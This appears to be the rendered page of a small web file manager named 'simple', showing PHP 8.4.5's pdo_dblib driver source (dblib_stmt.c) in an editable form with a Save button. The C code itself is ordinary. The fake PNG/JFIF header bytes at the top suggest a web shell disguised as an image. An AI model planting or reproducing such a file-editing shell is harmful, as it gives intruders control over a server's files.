�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2F'>ext</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fpdo_dblib%2F'>pdo_dblib</a>/</p><hr><h3>✏️ Editing: dblib_stmt.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
  +----------------------------------------------------------------------+
  | Copyright (c) The PHP Group                                          |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | https://www.php.net/license/3_01.txt                                 |
  | If you did not receive a copy of the PHP license and are unable to   |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.               |
  +----------------------------------------------------------------------+
  | Author: Wez Furlong &lt;wez@php.net&gt;                                    |
  |         Frank M. Kromann &lt;frank@kromann.info&gt;                        |
  +----------------------------------------------------------------------+
*/

#ifdef HAVE_CONFIG_H
# include &quot;config.h&quot;
#endif

#include &quot;php.h&quot;
#include &quot;php_ini.h&quot;
#include &quot;ext/standard/info.h&quot;
#include &quot;ext/pdo/php_pdo.h&quot;
#include &quot;ext/pdo/php_pdo_driver.h&quot;
#include &quot;php_pdo_dblib.h&quot;
#include &quot;php_pdo_dblib_int.h&quot;
#include &quot;zend_exceptions.h&quot;


/* {{{ pdo_dblib_get_field_name
 *
 * Return the data type name for a given TDS number
 *
 */
static char *pdo_dblib_get_field_name(int type)
{
	/*
	 * I don&#039;t return dbprtype(type) because it does not fully describe the type
	 * (example: varchar is reported as char by dbprtype)
	 *
	 * FIX ME: Cache datatypes from server systypes table in pdo_dblib_handle_factory()
	 * 		   to make this future-proof.
	 */

	switch (type) {
		case 31: return &quot;nvarchar&quot;;
		case 34: return &quot;image&quot;;
		case 35: return &quot;text&quot;;
		case 36: return &quot;uniqueidentifier&quot;;
		case 37: return &quot;varbinary&quot;; /* &amp; timestamp - Sybase AS12 */
		case 38: return &quot;bigint&quot;; /* &amp; bigintn - Sybase AS12 */
		case 39: return &quot;varchar&quot;; /* &amp; sysname &amp; nvarchar - Sybase AS12 */
		case 40: return &quot;date&quot;;
		case 41: return &quot;time&quot;;
		case 42: return &quot;datetime2&quot;;
		case 43: return &quot;datetimeoffset&quot;;
		case 45: return &quot;binary&quot;; /* Sybase AS12 */
		case 47: return &quot;char&quot;; /* &amp; nchar &amp; uniqueidentifierstr Sybase AS12 */
		case 48: return &quot;tinyint&quot;;
		case 50: return &quot;bit&quot;; /* Sybase AS12 */
		case 52: return &quot;smallint&quot;;
		case 55: return &quot;decimal&quot;; /* Sybase AS12 */
		case 56: return &quot;int&quot;;
		case 58: return &quot;smalldatetime&quot;;
		case 59: return &quot;real&quot;;
		case 60: return &quot;money&quot;;
		case 61: return &quot;datetime&quot;;
		case 62: return &quot;float&quot;;
		case 63: return &quot;numeric&quot;; /* or uint, ubigint, usmallint Sybase AS12 */
		case 98: return &quot;sql_variant&quot;;
		case 99: return &quot;ntext&quot;;
		case 104: return &quot;bit&quot;;
		case 106: return &quot;decimal&quot;; /* decimal n on sybase */
		case 108: return &quot;numeric&quot;; /* numeric n on sybase */
		case 122: return &quot;smallmoney&quot;;
		case 127: return &quot;bigint&quot;;
		case 165: return &quot;varbinary&quot;;
		case 167: return &quot;varchar&quot;;
		case 173: return &quot;binary&quot;;
		case 175: return &quot;char&quot;;
		case 189: return &quot;timestamp&quot;;
		case 231: return &quot;nvarchar&quot;;
		case 239: return &quot;nchar&quot;;
		case 240: return &quot;geometry&quot;;
		case 241: return &quot;xml&quot;;
		default: return &quot;unknown&quot;;
	}
}
/* }}} */

static int pdo_dblib_stmt_cursor_closer(pdo_stmt_t *stmt)
{
	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;
	pdo_dblib_db_handle *H = S-&gt;H;

	/* Cancel any pending results */
	dbcancel(H-&gt;link);

	pdo_dblib_err_dtor(&amp;H-&gt;err);

	return 1;
}

static int pdo_dblib_stmt_dtor(pdo_stmt_t *stmt)
{
	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;

	pdo_dblib_err_dtor(&amp;S-&gt;err);

	efree(S);

	return 1;
}

static int pdo_dblib_stmt_next_rowset_no_cancel(pdo_stmt_t *stmt)
{
	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;
	pdo_dblib_db_handle *H = S-&gt;H;
	RETCODE ret;
	int num_fields;

	do {
		ret = dbresults(H-&gt;link);
		num_fields = dbnumcols(H-&gt;link);
	} while (H-&gt;skip_empty_rowsets &amp;&amp; num_fields &lt;= 0 &amp;&amp; ret == SUCCEED);


	if (FAIL == ret) {
		pdo_raise_impl_error(stmt-&gt;dbh, stmt, &quot;HY000&quot;, &quot;PDO_DBLIB: dbresults() returned FAIL&quot;);
		return 0;
	}

	if (NO_MORE_RESULTS == ret) {
		return 0;
	}

	if (H-&gt;skip_empty_rowsets &amp;&amp; num_fields &lt;= 0) {
		return 0;
	}

	stmt-&gt;row_count = DBCOUNT(H-&gt;link);
	stmt-&gt;column_count = num_fields;

	return 1;
}

static int pdo_dblib_stmt_next_rowset(pdo_stmt_t *stmt)
{
	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;
	pdo_dblib_db_handle *H = S-&gt;H;
	RETCODE ret = SUCCESS;

	/* Ideally use dbcanquery here, but there is a bug in FreeTDS&#039;s implementation of dbcanquery
	 * It has been resolved but is currently only available in nightly builds
	 */
	while (NO_MORE_ROWS != ret) {
		ret = dbnextrow(H-&gt;link);

		if (FAIL == ret) {
			pdo_raise_impl_error(stmt-&gt;dbh, stmt, &quot;HY000&quot;, &quot;PDO_DBLIB: dbnextrow() returned FAIL&quot;);
			return 0;
		}
	}

	return pdo_dblib_stmt_next_rowset_no_cancel(stmt);
}

static int pdo_dblib_stmt_execute(pdo_stmt_t *stmt)
{
	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;
	pdo_dblib_db_handle *H = S-&gt;H;

	dbsetuserdata(H-&gt;link, (BYTE*) &amp;S-&gt;err);

	pdo_dblib_stmt_cursor_closer(stmt);

	if (FAIL == dbcmd(H-&gt;link, ZSTR_VAL(stmt-&gt;active_query_string))) {
		return 0;
	}

	if (FAIL == dbsqlexec(H-&gt;link)) {
		return 0;
	}

	pdo_dblib_stmt_next_rowset_no_cancel(stmt);

	stmt-&gt;row_count = DBCOUNT(H-&gt;link);
	stmt-&gt;column_count = dbnumcols(H-&gt;link);

	return 1;
}

static int pdo_dblib_stmt_fetch(pdo_stmt_t *stmt,
	enum pdo_fetch_orientation ori, zend_long offset)
{

	RETCODE ret;

	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;
	pdo_dblib_db_handle *H = S-&gt;H;

	ret = dbnextrow(H-&gt;link);

	if (FAIL == ret) {
		pdo_raise_impl_error(stmt-&gt;dbh, stmt, &quot;HY000&quot;, &quot;PDO_DBLIB: dbnextrow() returned FAIL&quot;);
		return 0;
	}

	if(NO_MORE_ROWS == ret) {
		return 0;
	}

	return 1;
}

static int pdo_dblib_stmt_describe(pdo_stmt_t *stmt, int colno)
{
	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;
	pdo_dblib_db_handle *H = S-&gt;H;
	struct pdo_column_data *col;
	char *fname;

	if(colno &gt;= stmt-&gt;column_count || colno &lt; 0)  {
		return FAILURE;
	}

	if (colno == 0) {
		S-&gt;computed_column_name_count = 0;
	}

	col = &amp;stmt-&gt;columns[colno];
	fname = (char*)dbcolname(H-&gt;link, colno+1);

	if (fname &amp;&amp; *fname) {
		col-&gt;name =  zend_string_init(fname, strlen(fname), 0);
	} else {
		if (S-&gt;computed_column_name_count &gt; 0) {
			char buf[16];
			int len;

			len = snprintf(buf, sizeof(buf), &quot;computed%d&quot;, S-&gt;computed_column_name_count);
			col-&gt;name = zend_string_init(buf, len, 0);
		} else {
			col-&gt;name = ZSTR_INIT_LITERAL(&quot;computed&quot;, 0);
		}

		S-&gt;computed_column_name_count++;
	}

	col-&gt;maxlen = dbcollen(H-&gt;link, colno+1);

	return 1;
}

static int pdo_dblib_stmt_should_stringify_col(pdo_stmt_t *stmt, int coltype)
{
	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;
	pdo_dblib_db_handle *H = S-&gt;H;

	switch (coltype) {
		case SQLDECIMAL:
		case SQLNUMERIC:
		case SQLMONEY:
		case SQLMONEY4:
		case SQLMONEYN:
		case SQLFLT4:
		case SQLFLT8:
		case SQLINT4:
		case SQLINT2:
		case SQLINT1:
		case SQLBIT:
			if (stmt-&gt;dbh-&gt;stringify) {
				return 1;
			}
			break;

		case SQLINT8:
			if (stmt-&gt;dbh-&gt;stringify) {
				return 1;
			}

			/* force stringify if DBBIGINT won&#039;t fit in zend_long */
			/* this should only be an issue for 32-bit machines */
			if (sizeof(zend_long) &lt; sizeof(DBBIGINT)) {
				return 1;
			}
			break;

#ifdef SQLMSDATETIME2
		case SQLMSDATETIME2:
#endif
		case SQLDATETIME:
		case SQLDATETIM4:
			if (H-&gt;datetime_convert) {
				return 1;
			}
			break;
	}

	return 0;
}

static void pdo_dblib_stmt_stringify_col(int coltype, LPBYTE data, DBINT data_len, zval *zv)
{
	DBCHAR *tmp_data;

	/* FIXME: We allocate more than we need here */
	DBINT tmp_data_len = 32 + (2 * (data_len));

	switch (coltype) {
		case SQLDATETIME:
		case SQLDATETIM4: {
			if (tmp_data_len &lt; DATETIME_MAX_LEN) {
				tmp_data_len = DATETIME_MAX_LEN;
			}
			break;
		}
	}

	tmp_data = emalloc(tmp_data_len);
	data_len = dbconvert(NULL, coltype, data, data_len, SQLCHAR, (LPBYTE) tmp_data, tmp_data_len);

	if (data_len &gt; 0) {
		/* to prevent overflows, tmp_data_len is provided as a dest len for dbconvert()
		 * this code previously passed a dest len of -1
		 * the FreeTDS impl of dbconvert() does an rtrim with that value, so replicate that behavior
		 */
		while (data_len &gt; 0 &amp;&amp; tmp_data[data_len - 1] == &#039; &#039;) {
			data_len--;
		}

		ZVAL_STRINGL(zv, tmp_data, data_len);
	} else {
		ZVAL_EMPTY_STRING(zv);
	}

	efree(tmp_data);
}

static int pdo_dblib_stmt_get_col(pdo_stmt_t *stmt, int colno, zval *zv, enum pdo_param_type *type)
{

	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;
	pdo_dblib_db_handle *H = S-&gt;H;

	int coltype;
	LPBYTE data;
	DBCHAR *tmp_data;
	DBINT data_len, tmp_data_len;

	coltype = dbcoltype(H-&gt;link, colno+1);
	data = dbdata(H-&gt;link, colno+1);
	data_len = dbdatlen(H-&gt;link, colno+1);

	if (data_len != 0 || data != NULL) {
		if (pdo_dblib_stmt_should_stringify_col(stmt, coltype) &amp;&amp; dbwillconvert(coltype, SQLCHAR)) {
			pdo_dblib_stmt_stringify_col(coltype, data, data_len, zv);
		} else {
			switch (coltype) {
				case SQLCHAR:
				case SQLVARCHAR:
				case SQLTEXT: {
#ifdef ilia_0
					while (data_len&gt;0 &amp;&amp; data[data_len-1] == &#039; &#039;) { /* nuke trailing whitespace */
						data_len--;
					}
#endif
				}
				case SQLVARBINARY:
				case SQLBINARY:
				case SQLIMAGE: {
					ZVAL_STRINGL(zv, (DBCHAR *) data, data_len);

					break;
				}
#ifdef SQLMSDATETIME2
				case SQLMSDATETIME2:
#endif
				case SQLDATETIME:
				case SQLDATETIM4: {
					size_t dl;
					DBDATEREC di;
					DBDATEREC dt;

					dbconvert(H-&gt;link, coltype, data, -1, SQLDATETIME, (LPBYTE) &amp;dt, -1);
					dbdatecrack(H-&gt;link, &amp;di, (DBDATETIME *) &amp;dt);

					dl = spprintf(&amp;tmp_data, 20, &quot;%04d-%02d-%02d %02d:%02d:%02d&quot;,
#if defined(PHP_DBLIB_IS_MSSQL) || defined(MSDBLIB)
							di.year,     di.month,       di.day,        di.hour,     di.minute,     di.second
#else
							di.dateyear, di.datemonth+1, di.datedmonth, di.datehour, di.dateminute, di.datesecond
#endif
					);

					ZVAL_STRINGL(zv, tmp_data, dl);

					efree(tmp_data);

					break;
				}
				case SQLFLT4:
					ZVAL_DOUBLE(zv, *(DBFLT4 *) data);
					break;
				case SQLFLT8:
					ZVAL_DOUBLE(zv, *(DBFLT8 *) data);
					break;
				case SQLINT8:
					ZVAL_LONG(zv, *(DBBIGINT *) data);
					break;
				case SQLINT4:
					ZVAL_LONG(zv, *(DBINT *) data);
					break;
				case SQLINT2:
					ZVAL_LONG(zv, *(DBSMALLINT *) data);
					break;
				case SQLINT1:
				case SQLBIT:
					ZVAL_LONG(zv, *(DBTINYINT *) data);
					break;
				case SQLDECIMAL:
				case SQLNUMERIC:
				case SQLMONEY:
				case SQLMONEY4:
				case SQLMONEYN: {
					DBFLT8 float_value;
					dbconvert(NULL, coltype, data, 8, SQLFLT8, (LPBYTE) &amp;float_value, -1);
					ZVAL_DOUBLE(zv, float_value);
					break;
				}

				case SQLUNIQUE: {
					if (H-&gt;stringify_uniqueidentifier) {
						/* 36-char hex string representation */
						tmp_data_len = 36;
						tmp_data = safe_emalloc(tmp_data_len, sizeof(char), 1);
						data_len = dbconvert(NULL, SQLUNIQUE, data, data_len, SQLCHAR, (LPBYTE) tmp_data, tmp_data_len);
						zend_str_toupper(tmp_data, data_len);
						ZVAL_STRINGL(zv, tmp_data, data_len);
						efree(tmp_data);
					} else {
						/* 16-byte binary representation */
						ZVAL_STRINGL(zv, (DBCHAR *) data, 16);
					}
					break;
				}

				default: {
					if (dbwillconvert(coltype, SQLCHAR)) {
						pdo_dblib_stmt_stringify_col(coltype, data, data_len, zv);
					}

					break;
				}
			}
		}
	}

	return 1;
}

static int pdo_dblib_stmt_get_column_meta(pdo_stmt_t *stmt, zend_long colno, zval *return_value)
{
	pdo_dblib_stmt *S = (pdo_dblib_stmt*)stmt-&gt;driver_data;
	pdo_dblib_db_handle *H = S-&gt;H;
	DBTYPEINFO* dbtypeinfo;
	int coltype;

	if(colno &gt;= stmt-&gt;column_count || colno &lt; 0)  {
		return FAILURE;
	}

	array_init(return_value);

	dbtypeinfo = dbcoltypeinfo(H-&gt;link, colno+1);

	if(!dbtypeinfo) return FAILURE;

	coltype = dbcoltype(H-&gt;link, colno+1);

	add_assoc_long(return_value, &quot;max_length&quot;, dbcollen(H-&gt;link, colno+1) );
	add_assoc_long(return_value, &quot;precision&quot;, (int) dbtypeinfo-&gt;precision );
	add_assoc_long(return_value, &quot;scale&quot;, (int) dbtypeinfo-&gt;scale );
	add_assoc_string(return_value, &quot;column_source&quot;, dbcolsource(H-&gt;link, colno+1));
	add_assoc_string(return_value, &quot;native_type&quot;, pdo_dblib_get_field_name(coltype));
	add_assoc_long(return_value, &quot;native_type_id&quot;, coltype);
	add_assoc_long(return_value, &quot;native_usertype_id&quot;, dbcolutype(H-&gt;link, colno+1));

	switch (coltype) {
		case SQLBIT:
		case SQLINT1:
		case SQLINT2:
		case SQLINT4:
			add_assoc_long(return_value, &quot;pdo_type&quot;, PDO_PARAM_INT);
			break;
		default:
			add_assoc_long(return_value, &quot;pdo_type&quot;, PDO_PARAM_STR);
			break;
	}

	return 1;
}


const struct pdo_stmt_methods dblib_stmt_methods = {
	pdo_dblib_stmt_dtor,
	pdo_dblib_stmt_execute,
	pdo_dblib_stmt_fetch,
	pdo_dblib_stmt_describe,
	pdo_dblib_stmt_get_col,
	NULL, /* param hook */
	NULL, /* set attr */
	NULL, /* get attr */
	pdo_dblib_stmt_get_column_meta, /* meta */
	pdo_dblib_stmt_next_rowset, /* nextrow */
	pdo_dblib_stmt_cursor_closer
};
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fpdo_dblib'>🔙 Back</a></p>